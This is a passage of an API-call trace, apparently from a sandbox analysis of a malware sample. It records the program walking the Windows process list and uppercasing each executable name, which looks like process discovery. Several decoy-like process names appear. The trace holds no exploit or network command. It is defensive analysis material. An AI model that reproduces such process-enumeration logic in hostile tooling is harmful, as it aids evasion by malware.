returned="WINLOGON.EXE" [0241.620] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0241.620] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0241.621] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0241.621] lstrlenW (lpString="services.exe") returned 12 [0241.621] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0241.621] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0241.621] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0241.622] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0241.623] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0241.623] lstrlenW (lpString="lsass.exe") returned 9 [0241.623] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0241.623] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0241.623] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0241.623] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.624] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0241.624] lstrlenW (lpString="svchost.exe") returned 11 [0241.624] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0241.624] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.624] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.625] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.626] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0241.626] lstrlenW (lpString="svchost.exe") returned 11 [0241.626] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0241.626] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.626] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.626] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0241.627] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0241.627] lstrlenW (lpString="dwm.exe") returned 7 [0241.627] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0241.627] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0241.627] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0241.627] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.629] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0241.629] lstrlenW (lpString="svchost.exe") returned 11 [0241.629] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0241.629] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.629] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.629] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.630] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0241.630] lstrlenW (lpString="svchost.exe") returned 11 [0241.630] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0241.630] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.630] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.630] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.631] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0241.631] lstrlenW (lpString="svchost.exe") returned 11 [0241.631] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0241.631] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.631] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.631] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.632] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0241.632] lstrlenW (lpString="svchost.exe") returned 11 [0241.632] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0241.632] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.632] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.632] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.633] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0241.633] lstrlenW (lpString="svchost.exe") returned 11 [0241.633] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0241.633] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.633] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.633] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.634] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0241.634] lstrlenW (lpString="svchost.exe") returned 11 [0241.634] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0241.635] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.635] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.635] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0241.636] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0241.636] lstrlenW (lpString="spoolsv.exe") returned 11 [0241.636] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0241.636] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0241.636] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0241.636] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.637] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0241.637] lstrlenW (lpString="svchost.exe") returned 11 [0241.637] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0241.637] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.637] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.637] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0241.638] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0241.638] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0241.638] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0241.638] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0241.638] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0241.638] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.639] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0241.639] lstrlenW (lpString="svchost.exe") returned 11 [0241.639] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0241.639] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.639] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0241.639] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0241.640] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0241.640] lstrlenW (lpString="sihost.exe") returned 10 [0241.640] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0241.640] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0241.640] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0241.640] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0241.641] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0241.641] lstrlenW (lpString="taskhostw.exe") returned 13 [0241.641] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0241.641] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0241.641] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0241.641] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0241.642] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0241.642] lstrlenW (lpString="explorer.exe") returned 12 [0241.642] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0241.642] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0241.642] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0241.642] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0241.643] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0241.643] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0241.643] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0241.643] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0241.643] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0241.643] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0241.644] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0241.644] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0241.644] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0241.644] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0241.644] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0241.644] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0241.645] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0241.645] lstrlenW (lpString="SearchUI.exe") returned 12 [0241.645] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0241.645] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0241.645] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0241.645] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0241.646] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0241.646] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0241.646] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0241.646] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0241.646] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0241.646] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0241.647] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0241.647] lstrlenW (lpString="nice cu.exe") returned 11 [0241.647] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0241.647] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0241.647] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0241.647] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0241.648] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0241.648] lstrlenW (lpString="video_reviewing.exe") returned 19 [0241.648] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0241.648] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0241.648] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0241.648] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0241.649] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0241.649] lstrlenW (lpString="shame.exe") returned 9 [0241.649] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0241.649] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0241.649] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0241.649] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0241.650] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0241.650] lstrlenW (lpString="fantasy.exe") returned 11 [0241.650] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0241.650] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0241.650] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0241.650] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0241.650] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0241.650] lstrlenW (lpString="accepting.exe") returned 13 [0241.650] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0241.650] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0241.651] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0241.651] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0241.651] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0241.651] lstrlenW (lpString="authorized.exe") returned 14 [0241.651] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0241.651] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0241.651] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0241.651] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0241.652] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0241.652] lstrlenW (lpString="isp.exe") returned 7 [0241.652] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0241.652] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0241.652] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0241.652] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0241.653] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0241.653] lstrlenW (lpString="cowboy.exe") returned 10 [0241.653] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0241.653] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0241.653] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0241.653] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0241.654] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0241.654] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0241.654] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0241.654] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0241.654] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") 